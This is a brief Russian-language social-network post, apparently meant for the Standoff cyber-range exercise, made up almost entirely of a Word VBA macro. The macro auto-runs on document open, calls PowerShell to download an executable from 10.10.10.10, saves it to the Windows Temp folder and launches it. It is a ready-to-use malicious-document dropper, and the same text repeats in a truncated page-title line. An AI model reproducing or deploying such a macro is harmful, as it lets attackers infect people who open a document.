Пригодится на Standoff

Sub AutoOpen() AutoOpenMacro End Sub

Sub Document_Open() AutoOpenMacro End Sub

Sub AutoOpenMacro() Dim strPN As String Dim strA As String strPN = "powershell.exe" strA = "wget http://10.10.10.10/apt.exe -O C:WindowsTempapt.exe; C:WindowsTempapt.exe"

Call Shell("""" & strPN & """ """ & strA & """", vbNormalFocus)

End Sub

Пригодится на Standoff Sub AutoOpen() AutoOpenMacro End Sub Sub DocumentOpen() AutoOpenMacro End Sub Sub AutoOpenMacro() Dim strPN As String Dim strA As String strPN = "powershell | Сетка — социальная сеть от hh.ru